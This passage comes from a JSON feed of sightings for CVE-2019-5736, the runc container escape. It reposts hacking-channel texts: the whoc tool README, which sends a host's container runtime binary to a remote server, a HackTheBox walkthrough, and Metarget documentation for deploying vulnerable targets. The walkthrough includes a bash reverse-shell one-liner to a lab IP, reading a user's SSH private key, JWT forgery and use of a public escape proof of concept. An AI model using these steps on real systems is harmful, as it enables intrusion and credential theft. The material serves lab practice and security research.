sends it to a remote server. Poke at the underlying container runtime of your favorite CSP container platform!\n\n* WhoC at Defcon 29 Cloud Village\n* Azurescape - whoc-powered research, the first cross-account container takeover in the public cloud (70,000$ bounty) How does it work?As shown by runc CVE-2019-5736, traditional Linux container runtimes expose themselves to the containers they're running through /proc/self/exe. whocuses this link to read the container runtime executing it. Dynamic ModeThis is whocdefault mode that works against dynamically linked container runtimes.\n\n1. The whocimage entrypoint is set to /proc/self/exe, and the image's dynamic linker (ld.so) is replaced with fake_ld.\n2. Once the image is run, the container runtime re-executes itself inside the container.\n3. Given the runtime is dynamically linked, the kernel loads our fake dynamic linker to the runtime process and passes execution to it.\n4. fake_ldobtains a file descriptor for the runtime binary by opening /proc/self/exe, and executes upload_runtime.\n5. upload_runtimereads the runtime binary from /proc/self/fd/and sends it to the configured remote server. https://blogger.googleusercontent.com/img/a/AVvXsEi_95e_qg5fMsbP6treVFuqoow00IkE5tY4k2v5rsmgUjnDB1ca-bidnn2ZtSOCXuYiZ9cUbI7VZ04PibinnHx0rHSvAZbNVZKfc7BUJ814hdlYdazoGq5kcijHfXEySNffebbB1_wbu5wzuX_AmycCum_3VhhEtw1pRAS4lwLZumzqgUCJt0kHrev2Ew=w640-h360 Wait-For-Exec ModeFor statically linked container runtimes, whoccomes in another flavor: whoc:waitforexec.\n\n1. upload_runtimeis the image entrypoint, and runs as the whoccontainer PID 1.\n2. The user is expected to exec into the whoccontainer and invoke a file pointing to /proc/self/exe(e.g. docker exec whoc-ctr /proc/self/exe)\n3. Once the exec occurs, the container runtime re-executes itself inside the container\n4. upload_runtimereads the runtime binary through /proc/and sends it to the configured remote server https://blogger.googleusercontent.com/img/a/AVvXsEhbfCLFL3NwU1sTB4vduEhYxUm-_xbrXLOUlsfrgj0TSnTdcpcBZIDprF7te-xGhkLaYz1t7nttgwg-pZ2wCIzjawRmgpRK7-qwpL95QTsOooSZIgvX68UQb1pJVjNiqvhN_QstbYC0Z99gVA4ECkzjQ0pXXm-hhAb6xXqUUU5MhAJAU5fMs5d07rbu_Q=w640-h372 Try LocallyYou'll need dockerand python3installed. Clone the repository: $ git clone git@github.com:twistlock/whoc.gitSet up a file server to receive the extracted container runtime: $ cd whoc\n$ mkdir -p stash && cd stash\n$ ln -s ../util/fileserver.py fileserver \n$ ./fileserverFrom another shell, run the whocimage in your container environment of choice, for example Docker: $ cd whoc\n$ docker build -f Dockerfile_dynamic -t whoc:latest src  # or ./util/build.sh\n$ docker run --rm -it --net=host whoc:latest 127.0.0.1  # or ./util/run_local.shSee that the file server received the container runtime. Since we run whocunder vanilla Docker, the received container runtime should be runc. --net=hostis only used in local tests so that the whoccontainer could easily reach the fileserver on the host via 127.0.0.1. HelpHelp[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:34.146274Z"}, {"uuid": "35777789-8837-4927-a1ae-0d43f50439c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/hacking_Attack/32537", "content": "Whoc - A Container Image That Extracts The Underlying Container Runtime\n\nA container image that extracts the underlying container runtime and sends it to a remote server. Poke at the underlying container runtime of your favorite CSP container platform!WhoC at Defcon 29 Cloud VillageAzurescape - whoc-powered research, the first cross-account container takeover in the public cloud (70,000$ bounty)How does it work?As shown by runc CVE-2019-5736, traditional Linux container runtimes expose themselves to the containers they're running through /proc/self/exe. whoc uses this link to read the container runtime executing it.Dynamic ModeThis is whoc default mode that works against dynamically linked container runtimes.The whoc image entrypoint is set to /proc/self/exe, and the image's dynamic linker (ld.so) is replaced with fake_ld.Once the image is run, the container runtime re-executes itself inside the container.Given the runtime is dynamically linked, the kernel loads our fake dynamic linker to the runtime process and passes execution to it.fake_ld obtains a file descriptor for the runtime binary by opening /proc/self/exe, and executes upload_runtime.upload_runtime reads the runtime binary from /proc/self/fd/ and sends it to the configured remote server.Wait-For-Exec ModeFor statically linked container runtimes, whoc comes in another flavor: whoc:waitforexec.upload_runtime is the image entrypoint, and runs as the whoc container PID 1.The user is expected to exec into the whoc container and invoke a file pointing to /proc/self/exe (e.g. docker exec whoc-ctr /proc/self/exe)Once the exec occurs, the container runtime re-executes itself inside the containerupload_runtime reads the runtime binary through /proc//exe and sends it to the configured remote serverTry LocallyYou'll need docker and python3 installed. Clone the repository:$ git clone git@github.com:twistlock/whoc.gitSet up a file server to receive the extracted container runtime:$ cd whoc$ mkdir -p stash && cd stash$ ln -s ../util/fileserver.py fileserver $ ./fileserverFrom another shell, run the whoc image in your container environment of choice, for example Docker:$ cd whoc$ docker build -f Dockerfile_dynamic -t whoc:latest src # or ./util/build.sh$ docker run --rm -it --net=host whoc:latest 127.0.0.1 # or ./util/run_local.shSee that the file server received the container runtime. Since we run whoc under vanilla Docker, the received container runtime should be runc.--net=host is only used in local tests so that the whoc container could easily reach the fileserver on the host via 127.0.0.1.HelpHelp for whoc's main binary, upload_runtime:Usage: upload_runtime options Options: -p, --port Port of remote server, defaults to 8080 -e, --exec Wait-for-exec mode for static container runtimes, waits until an exec to the container occurred -b, --exec-bin In exec mode, overrides the default binary created for the exec, default is /bin/enter -a, --exec-extra-argument In exec mode, pass an additional argument to the runtime so it won't exit quickly -r, --exec-readdir-proc In exec mode, instead of guessing the runtime pid (which gives whoc one shot of catching the runtime), find the runtime by searching for new processes under '/proc'Download Whoc\nRead more...\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:34.069579Z"}, {"uuid": "2725878a-24b1-4d8a-9216-cf81e0553197", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/hacking_Attack/34046", "content": "Kali Linux Tutorials\nWhoc : A Container Image That Extracts The Underlying Container Runtime\n\nWhoc is a container image that extracts the underlying container runtime and sends it to a remote server. Poke at the underlying container runtime of your favorite CSP container platform!\n\nHow does it work?\n\nAs shown by runc CVE-2019-5736, traditional Linux container runtimes expose themselves to the containers they\u2019re running through /proc/self/exe. whocuses this link to read the container runtime executing it.\n\nDynamic Mode\n\nThis is whocdefault mode that works against dynamically linked container runtimes.\n\n1. The whocimage entrypoint is set to /proc/self/exe, and the image\u2019s dynamic linker (ld.so) is replaced with upload_runtime.\n2. Once the image is run, the container runtime re-executes itself inside the container.\n3. Given the runtime is dynamically linked, the kernel loads our fake dynamic linker (upload_runtime) to the runtime process and passes execution to it.\n4. upload_runtimereads the runtime binary through /proc/self/exeand sends it to the configured remote server.\nhttps://blogger.googleusercontent.com/img/a/AVvXsEhoOtXTTgwAILo7_iVmwKDHiYFqUbdTTAaLwtkxF_o1uEl7cVjxgpPyycB1hmrcJSoO90Y4AtQLloD-nlpUfcurdePCzt5E-Za6ZryJW_LfFnAViUjIOVrhRxo0ggi0HDzk8rx5xJ3puaZ94h7wElqjr0Ei2xDYrIVBlfjrUN-g425lpMXY4pY5DD3d=s728 \nWait-For-Exec Mode\n\nFor statically linked container runtimes, whoccomes in another flavor: whoc:waitforexec.\n\n1. upload_runtimeis the image entrypoint, and runs as the whoccontainer PID 1.\n2. The user is expected to exec into the whoccontainer and invoke a file pointing to /proc/self/exe(e.g. docker exec whoc_ctr /proc/self/exe).\n3. Once the exec occurs, the container runtime re-executes itself inside the container.\n4. upload_runtimereads the runtime binary through /proc/$runtime-pid/exeand sends it to the configured remote server.\nhttps://blogger.googleusercontent.com/img/a/AVvXsEi3a_UpD_rXLfW9moPrDkZzlJOXXYrKnldu3IW_BpKgXSHTWzA2Efb8KtZx97cwQ8GasivuxnMs5vrYUYOgK8WE_FQ6ErQp_5t0Ykff-b2qMNl9Kzsn2j2dm3K2AoNGm_CS-EF4Q6NPJ5086YaoPXUJJtVZM9pLx43xRy04KhKoCiR92O8Y03DJUyFI=s571 \nTry Locally\n\nYou\u2019ll need dockerand python3installed. Clone the repository:\n$ git clone git@github.com:twistlock/whoc.git \nSet up a file server to receive the extracted container runtime:\n$ cd whoc\n$ mkdir -p stash && cd stash\n$ ln -s ../util/fileserver.py fileserver \n$ ./fileserver \nFrom another shell, run the whocimage in your container environment of choice, for example Docker:\n$ cd whoc\n$ docker build -f Dockerfile_dynamic -t whoc:latest src  # or ./util/build.sh\n$ docker run --rm -it --net=host whoc:latest 127.0.0.1  # or ./util/run_local.sh \nSee that the file server received the container runtime. If you run whocunder vanilla Docker, the received container runtime should be runc. --net=hostis only used in local tests so that the whoccontainer could easily reach the fileserver on the host via 127.0.0.1.\n\nOther Platforms\n\nBy default whocis built for linux/amd64, but it also supports other CPU architectures. Wait-for-exec mode can be built as usual. To build whocin dynamic mode for other CPU architectures, you must populate the PLATFORM_LD_PATH_ARGbuild argument with the path of the dynamic linker on the target architecture.\n\nAn example build script for arm64is available at util/build_arm64.sh.\n\nHelp\n\nHelp for whoc\u2018s main binary, upload_runtime:\nUsage: upload_runtime [options] ___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:32.985796Z"}, {"uuid": "15db8e25-76b0-4e2f-8040-720905b410cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/hacking_Attack/32544", "content": "A container (https://www.kitploit.com/search/label/Container) image that extracts the underlying container runtime and sends it to a remote server. Poke at the underlying container runtime of your favorite CSP container platform!WhoC at Defcon 29 Cloud Village (https://www.youtube.com/watch?v=DF0qoCsHKT4)Azurescape (https://unit42.paloaltonetworks.com/azure-container-instances/) - whoc-powered research, the first cross-account container takeover (https://www.kitploit.com/search/label/Takeover) in the public cloud (70,000$ bounty)\nHow does it work?\nAs shown by runc CVE-2019-5736 (https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/), traditional Linux container runtimes expose themselves to the containers (https://www.kitploit.com/search/label/Containers) they're running through /proc/self/exe. whoc uses this link to read the container runtime executing it.\nDynamic Mode\nThis is whoc default mode that works against dynamically linked container runtimes.The whoc image entrypoint is set to /proc/self/exe, and the image's dynamic (https://www.kitploit.com/search/label/Dynamic) linker (ld.so) is replaced with fake_ld.Once the image is run, the container runtime re-executes itself inside the container.Given the runtime is dynamically linked, the kernel loads our fake dynamic linker to the runtime process and passes execution to it.fake_ld obtains a file descriptor for the runtime binary by opening /proc/self/exe, and executes upload_runtime.upload_runtime reads the runtime binary from /proc/self/fd/ and sends it to the configured remote server.\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:34.108144Z"}, {"uuid": "a880032f-3183-4f61-a274-c2022f1800d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/hacking_Attack/27880", "content": "Hacking Articles|Raj Chandel's Blog\nTheNotebook HackTheBox Walkthrough\n\nWe\u2019ll look at another one of HackTheBox machines today, called \u201cTheNotebook.\u201d It is a medium difficulty box targeting commonly found threat of using insecure JWT token implementation. A user is able to gain access to the system by forging this token and adding desired values. We\u2019d own the root user by targeting it. Here is the methodology. Penetration Testing Methodology\u00b7 NmapExploitation\u00b7 Forging the JWT token with admin rights and self-generated private keyPrivilege Escalation\u00b7 Recovering SSH private key from an old backup directoryCVE-2019-5736)\n\n\u00b7 Gaining root accessReconMachine\u2019s IP was 10.129.211.197. The first step was to run nmap\u2019s aggressive scan to look for open ports. As you can see a port 80 was found to be open.nmap -A\u00a0 10.129.211.197https://blogger.googleusercontent.com/img/a/AVvXsEhxStGsjlqoMdg-fqQAmSSYabLKUUB9WK0xjmsnCcz4Olhw2YiFzSgatbKkR5xOP_nrszkGgwv8HwCkODldvhGafKXbu1VuEQH5r2jD9dmeM_3tdWq8mx6AkfTD4AyBjOK29y1jsozULsC75S92ZNEvnXnKX1hOBIkHxzFyWfWNA9QYQyAbHvOjkMrxoQ=s16000 The website opens up a note management tool. There was a register link too.ExploitationSo, we\u2019ll generate a private key, host it on our local server, and change the JWT header to my own key\u2019s location and try if the website fetches and authenticates using our key.openssl genrsa -out privKey.key 2048https://blogger.googleusercontent.com/img/a/AVvXsEiKERiNvpDJYi_lkt_ByiJjfSgLcDTk4f31yDqOV-xI5NycZ2Y5VPDStdO1s7owotkJQl8bczUrzbFbiETOBafn9hY-M7xqrs0B-pANDBQr3l3i3zm2FW0oS01eRW0HGJYuyRMR-Dq9ujfMwtluCI23UdUzADJrHxjhjT3vqy5VyKJMyg37fPBgfsvvFw=s16000 We\u2019d change the fields in our JWT header now and paste our own key in the field below for the token to verify the signature and successfully authenticate using my key.___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:39.223770Z"}, {"uuid": "2a0f2158-b4f8-4062-8f72-6838d2ab9ff9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/hacking_Attack/27881", "content": "Look how we\u2019ve changed the location of key, admin_cap is set to true and pasted the key below. Note the color coding to comprehend how the JWT token is made.Privilege EscalationBefore opening this file up, we fired a netcat listener. Then after clicking on view can get a reverse shell. We convert this into a proper teletype first.python3 -c 'import pty;pty.spawn(\"/bin/bash\")'In the var/backups directory we saw home.tar.gz which was an old account backup.cp home.tar.gz /tmp/Smart thing to do here is do dumpster diving for old SSH keys. Luckily, we did find the SSH keys and copied this private key to our system.cat /home/noah/.ssh/id_rsahttps://blogger.googleusercontent.com/img/a/AVvXsEjwvANJPXv5FTFtiBAId3w59eLHbuKT_wrARKzdUTKZ2CVLCy0dVv4LyQuhw5IHceMZKDCs4_lDQfZqlWSgodwswH4PLVusDnxLbXlahquCzL3nqS5kiMyVG_v45v8xuDqvJG9mfKPTueVbsDaxFQhB61ZRYGVqzaKz7jy2pRaT6uMfDpvUik2-YKcu5g=s16000 We changed the permission on the key to \u201c600\u201d and logged in to noah\u2019s account using it.nano sshkeyThe user flag was in /home.sudo -lhttps://blogger.googleusercontent.com/img/a/AVvXsEjTJIozJU9Pj9tS2nTnTw2oI1D-d3_VRGOIIhgEDSPoVcjJsNKF4SuCEvPvI0VG60ZORFUVhJaerrhDTDVxezF08A9eFt_xv6MjwlU0aQb4fZ7f8ZqB-kZBwN3gqLUOGuyW7cdDVXBMEuLocISocyaNv_3Mz8ny3E2o1JtUtscj4z7tqcxwTfp7d2AEVg=s16000 We observed that version 18.06.0-ce was affected by CVE-2019-5736, a docker es[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:39.265415Z"}, {"uuid": "8fed9865-873e-4f25-8e5b-6c5d5f57016f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/hacking_Attack/27882", "content": "cape vulnerability. The POC of the same can be found here. This exploit would let us overwrite and execute the host systems binary from within the container.git clone https://github.com/Frichetten/CVE-2019-5736-PoCHere, we\u2019ll modify the variable \u201cpayload\u201d with this bash one linerbash -i >& /dev/tcp/10.10.14.100/9999 0>&1And then we save thisgo build main.gohttps://blogger.googleusercontent.com/img/a/AVvXsEgW9TMQ9K5qnFrYZYaX6Lv99IdU-xEo8RkOZ2cI2v2bkM0TVlAdC19kVBoYLitevE-XVRbnhViBVsD6UsTg7MsiS2gqZ4ogqKYgkKbOy2CcKcEeFxBUckmXgSsaNOwc6MRtiY_6E70a_GfLzoZyZAD3HBlL8niHC7Y57l0UuM2CnV1SllU_T04v_Wdw6A=s16000 In the machine, we first jumped into the container using docker exec command.sudo /usr/bin/docker exec -it webapp-dev01 /bin/bashAfter that we\u2019ll copy the exploit in /tmp and execute itcd /tmphttps://blogger.googleusercontent.com/img/a/AVvXsEgbyf6kwyXDoTPrIXPjCDVXFUS7wifXeYV4X-rSkj9JmNBYs48NhEXGordCYRrd6PiUpS1s7dpZ9DpCPXs-cpir7dJlHpGGywFj88p61VXPEx8c3T37lflA8F2f7lyp2PO3u6ux5BRr7PQweBJNsoPWmNh1SiXT5HwvZOhRnljUV49JQkhXYRhLYufxZQ=s16000 Now, we\u2019ll open another window and log in using noah separately and execute the command docker exec command but the catch is that this time the binary \u201csh\u201d has been overwritten by our exploit and it would run the \u201cpayload\u201d that we defined in our exploit.sudo /usr/bin/docker exec -it webapp-dev01 shhttps://blogger.googleusercontent.com/img/a/AVvXsEg_JDDDCX_Gv2oTh_Y0t4LeQyZ_7Dtz_qQHodVBXhoJvbU1Vk84EHDrguV-OkkNTeou34_Gf9n02210Bw1TpUAnmJC8SgxftSVfUxfuWChptGT7Yhe_AMBtTq8Q9iBitj906twF9SrMHDaJjLlqVW9J2O5hwimFL8dOqyOgyybVpD_SanGHwPzL3VdF6Q=s16000 We fired up the window in which netcat was running and observe a shell had been prompted. This is the root of thenotebook!nc -lvp 9999We snagged the flag in /root directoryConclusionHence, this is how we were able to own the system access in the CTF TheNotebook. Please let us know in the comments how you found our approach and query any clarifications for any steps that you may need. Thanks for the read.___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:39.306688Z"}, {"uuid": "a824aae3-7730-4eca-95d5-6548d9de41dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/hacking_Attack/11441", "content": "1 Introduction\n  Metarget = meta- + target, a framework providing automatic constructions of vulnerable infrastructures, used to deploy simple or complicated vulnerable cloud native targets swiftly and automatically.  \n1.1 Why Metarget?\n  During security researches, we might find that the deployment of vulnerable environment often takes much time, while the time spent on testing PoC or ExP is comparatively short. In the field of cloud native security, thanks to the complexity of cloud native systems, this issue is more terrible.  There are already some excellent security projects like Vulhub (https://github.com/vulhub/vulhub), VulApps (https://github.com/Medicean/VulApps) in the open-source community, which pack vulnerable scenes into container images, so that researchers could utilize them and deploy scenes quickly.  However, these projects mainly focus on vulnerabilities (https://www.kitploit.com/search/label/vulnerabilities) in applications. What if we need to study the vulnerabilities in the infrastructures like Docker, Kubernetes and even Linux kernel?  Hence, we develop Metarget and hope to solve the deployment issue above to some extent. Furthermore, we also expect that Metarget could help to construct multilayer vulnerable cloud native scenes automatically.  \n1.2 Install Vulnerability!\n  In this project, we come up with concepts like installing vulnerabilities and installing vulnerable scenes. Why not install vulnerabilities just like installing softwares? We can do that, because our goals are security research and offensive security.  To be exact, we expect that:    metarget cnv install cve-2019-5736 will install Docker with CVE-2019-5736 onto the server.  metarget cnv install cve-2018-1002105 will install Kubernetes with CVE-2018-1002105 onto the server.  metarget cnv install kata-escape-2020 will install Kata-containers with CVE-2020-2023/2025/2026 onto the server.  metarget cnv install cve-2016-5195 will install a kernel with DirtyCoW into the server.    It's cool, right? No more steps. No RTFM. Execute one command and enjoy your coffee.  Furthermore, we expect that:    with Metarget's help, ethical hackers are able to deploy simple or complicated cloud native targets swiftly and learn by hacking cloud native environments.  metarget appv install dvwa will install a DVWA (https://github.com/digininja/DVWA) target onto our vulnerable infrastructure.  metarget appv install thinkphp-5-0-23-rce --external will install a ThinkPHP RCE vulnerability (https://www.kitploit.com/search/label/Vulnerability) with NodePort service onto our vulnerable infrastructure.    You can just run 5 commands below after installing a new Ubuntu and obtain a multi-layer vulnerable scene:  ./metarget cnv install cve-2016-5195 # container escape with dirtyCoW\n./metarget cnv install cve-2019-5736 # container escape with docker\n./metarget cnv install cve-2018-1002105 # kubernetes single-node cluster with cve-2018-1002105\n./metarget cnv install privileged-container # deploy a privileged container\n./metarget appv install dvwa --external # deploy dvwa target  RCE, container escape, lateral movement, persistence, they are yours now.  More awesome functions are coming! Stay tuned :)  Note:  Thie project aims to provide vulnerable scenes for security research. The security of scenes generated is not guaranteed. It is NOT recommended to deploy components or scenes with Metarget on the Internet.  \n2 Usage\n  \n2.1 Basic Usage\n  usage: metarget [-h] [-v] subcommand ...\n\nautomatic constructions of vulnerable infrastructures\n\npositional arguments:\n  subcommand     description\n    gadget       cloud native gadgets (docker/k8s/...) management\n    cnv          cloud native vulnerabilities management\n    appv         application vulnerabilities management\n\noptional arguments:\n  -h, --help     show this help message and exit\n  -v, --version  show program's version number and exit\n  Run ./metarget gadget list to see cloud native components supported currently.", "creation_timestamp": "2026-09-02T01:03:16.556672Z"}, {"uuid": "d65dd6cb-66e7-4b4a-8215-cb462f6c47fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/hacking_Attack/11442", "content": "2.2 Manage Cloud Native (https://www.kitploit.com/search/label/Cloud%20Native) Components\n  usage: metarget gadget [-h] subcommand ...\n\npositional arguments:\n  subcommand  description\n    list      list supported gadgets\n    install   install gadgets\n    remove    uninstall gadgets\n\noptional arguments:\n  -h, --help  show this help message and exit\n  \n2.2.1 Case: Install Docker with Specified Version\n  Run:  ./metarget gadget install docker --version 18.03.1  If the command above completes successfully, 18.03.1 Docker will be installed.  \n2.2.2 Case: Install Kubernetes with Specified Version\n  Run:  ./metarget gadget install k8s --version 1.16.5  If the command above completes successfully, 1.16.5 Kubernetes single-node cluster will be installed.  Note:  Usually, lots of options need to be configured in Kubernetes. As a security research project, Metarget provides some options for installation of Kubernetes:    -v VERSION, --version VERSION\n                        gadget version\n  --cni-plugin CNI_PLUGIN\n                        cni plugin, flannel by default\n  --pod-network-cidr POD_NETWORK_CIDR\n                        pod network cidr, default cidr for each plugin by\n                        default\n  --taint-master        taint master node or not\n  Metarget supports deployment of multi-node cluster. If you want to add more nodes into the cluster, you can copy tools/install_k8s_worker.sh script and run it on each worker nodes after the successful installation of single-node cluster.  \n2.2.3 Case: Install Kata-containers with Specified Version\n  Run:  ./metarget gadget install kata --version 1.10.0  If the command above completes successfully, 1.10.0 Kata-containers will be installed.  Note:  You can also specify the type of kata runtime (qemu/clh/fc/...) with --kata-runtime-type option, which is qemu by default.  \n2.2.4 Case: Install Linux Kernel (https://www.kitploit.com/search/label/Linux%20Kernel) with Specified Version\n  Run:  ./metarget gadget install kernel --version 5.7.5  If the command above completes successfully, 5.7.5 kernel will be installed.  Note:  Currently, Metarget install kernels in 2 ways:    apt  if apt package is not available, download *.deb remotely from Ubuntu and try to install    After successful installation of kernel, reboot of system is needed. Metarget will prompt to reboot automatically.  \n2.3 Manage Vulnerable Scenes Related to Cloud Native Components\n  usage: metarget cnv [-h] subcommand ...\n\npositional arguments:\n  subcommand  description\n    list      list supported cloud native vulnerabilities\n    install   install cloud native vulnerabilities\n    remove    uninstall cloud native vulnerabilities\n\noptional arguments:\n  -h, --help  show this help message and exit\n  Run ./metarget cnv list to see vulnerable scenes related to cloud native components supported currently.  \n2.3.1 Case: CVE-2019-5736\n  Run:  ./metarget cnv install cve-2019-5736  If the command above completes successfully, Docker with CVE-2019-5736 will be installed\u3002  \n2.3.2 Case: CVE-2018-1002105\n  Run:  ./metarget cnv install cve-2018-1002105  If the command above completes successfully, Kubernetes with CVE-2018-1002105 will be installed\u3002  \n2.3.3 Case: Kata-containers Escape\n  Run:  ./metarget cnv install kata-escape-2020  If the command above completes successfully, Kata-containers with CVE-2020-2023/2025/2026 will be installed\u3002  \n2.3.4 Case: CVE-2016-5195\n  Run:  ./metarget cnv install cve-2016-5195  If the command above completes successfully, kernel with CVE-2016-5195 will be installed\u3002  \n2.4 Manage Vulnerable Scenes Related to Cloud Native Applications\n  usage: metarget appv [-h] subcommand ...\n\npositional arguments:\n  subcommand  description\n    list      list supported application vulnerabilities\n    install   install application vulnerabilities\n    remove    uninstall application vulnerabilities\n\noptional arguments:\n  -h, --help  show this help message and exit", "creation_timestamp": "2026-09-02T01:03:15.425261Z"}, {"uuid": "a34431d3-8f1e-478c-9846-7117427ff205", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/hacking_Attack/11443", "content": "Run ./metarget appv list to see vulnerable scenes related to cloud native applications supported currently.  Note:  Before deploying application vulnerable scenes, you should install Docker and Kubernetes firstly. You can use Metarget to install Docker and Kubernetes.  \n2.4.1 Case: DVWA\n  Run:  ./metarget appv install dvwa  If the command above completes successfully, DVWA (https://github.com/digininja/DVWA) will be deployed as Deployment and Service resources in current Kubernetes.  Note:  You can specify --external option, then the service will be exposed as NodePort, so that you can visit it by IP of the host node.  By default, the type of service is ClusterIP.  \n2.5 Manage Vulnerable Cloud Native Target Cluster\n  Developing, currently not supported.  \n3 Installation\n  \n3.1 Requirements\n    Ubuntu 16.04 or 18.04  Python >= 3.5  pip3    \n3.2 From Source\n  Clone the repository and install requirements:  git clone https://github.com/brant-ruan/metarget.git\ncd metarget/\npip install -r requirements.txt  Begin to use Metarget and construct vulnerable scenes. For example:  ./metarget cnv install cve-2019-5736  \n3.3 From PyPI\n  Currently unsupported.  \n4 Scene List\n  \n4.1 Vulnerable Scenes Related to Cloud Native Components\n    Name  Class  Type  CVSS 3.x  Status      cve-2018-15664 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/docker/cve-2018-15664.yaml)  docker  container_escape  7.5 (https://nvd.nist.gov/vuln/detail/CVE-2018-15664)  \u2705      cve-2019-13139 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/docker/cve-2019-13139.yaml)  docker  command_execution  8.4 (https://nvd.nist.gov/vuln/detail/CVE-2019-13139)  \u2705      cve-2019-14271 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/docker/cve-2019-14271.yaml)  docker  container_escape  9.8 (https://nvd.nist.gov/vuln/detail/CVE-2019-14271)  \u2705      cve-2020-15257 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/docker/cve-2020-15257.yaml)  docker/containerd  container_escape  5.2 (https://nvd.nist.gov/vuln/detail/CVE-2020-15257)  \u2705      cve-2019-5736 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/docker/cve-2019-5736.yaml)  docker/runc  container_escape  8.6 (https://nvd.nist.gov/vuln/detail/CVE-2019-5736)  \u2705      cve-2017-1002101 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2017-1002101.yaml)  kubernetes  container_escape  9.6 (https://nvd.nist.gov/vuln/detail/CVE-2017-1002101)  \u2705      cve-2018-1002105 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2018-1002105.yaml)  kubernetes  privilege_escalation  9.8 (https://nvd.nist.gov/vuln/detail/CVE-2018-1002105)  \u2705      cve-2019-11253 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2019-11253.yaml)  kubernetes  denial_of_service  7.5 (https://nvd.nist.gov/vuln/detail/CVE-2019-11253)  \u2705      cve-2019-9512 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2019-9512.yaml)  kubernetes  denial_of_service  7.5 (https://nvd.nist.gov/vuln/detail/CVE-2019-9512)  \u2705      cve-2019-9514 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2019-9514.yaml)  kubernetes  denial_of_service  7.5 (https://nvd.nist.gov/vuln/detail/CVE-2019-9514)  \u2705      cve-2020-8554 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2020-8554.yaml)  kubernetes  man_in_the_middle  5.0 (https://nvd.nist.gov/vuln/detail/CVE-2020-8554)  \u2705      cve-2020-8557 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2020-8557.yaml)  kubernetes  denial_of_service  5.5 (https://nvd.nist.gov/vuln/detail/CVE-2020-8557)  \u2705      cve-2020-8558 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2020-8558.yaml)  kubernetes  exposure_of_service  8.8 (https://nvd.nist.gov/vuln/detail/CVE-2020-8558)  \u2705      cve-2016-5195 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kernel/cve-2016-5195.yaml)  kernel", "creation_timestamp": "2026-09-02T01:03:14.971317Z"}, {"uuid": "dabb91d1-db20-413f-9a6e-a43edc4a7444", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "Telegram/k_LdPlQ0Lpua_x0rxX3Mr1Nhbl11_A10HmJ_9WnhzssvdW0", "content": "", "creation_timestamp": "2026-09-03T00:00:56.334619Z"}, {"uuid": "800fd588-e319-48a8-a95c-6154f62fe2cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "Telegram/alHvvUHQCUylk35MGsdpMYRa6PMrggYEgIO1T_H-uyhMM7U", "content": "", "creation_timestamp": "2026-09-05T01:00:05.395254Z"}, {"uuid": "bc65eb85-b193-4b32-9c2f-1ae4a355f507", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": 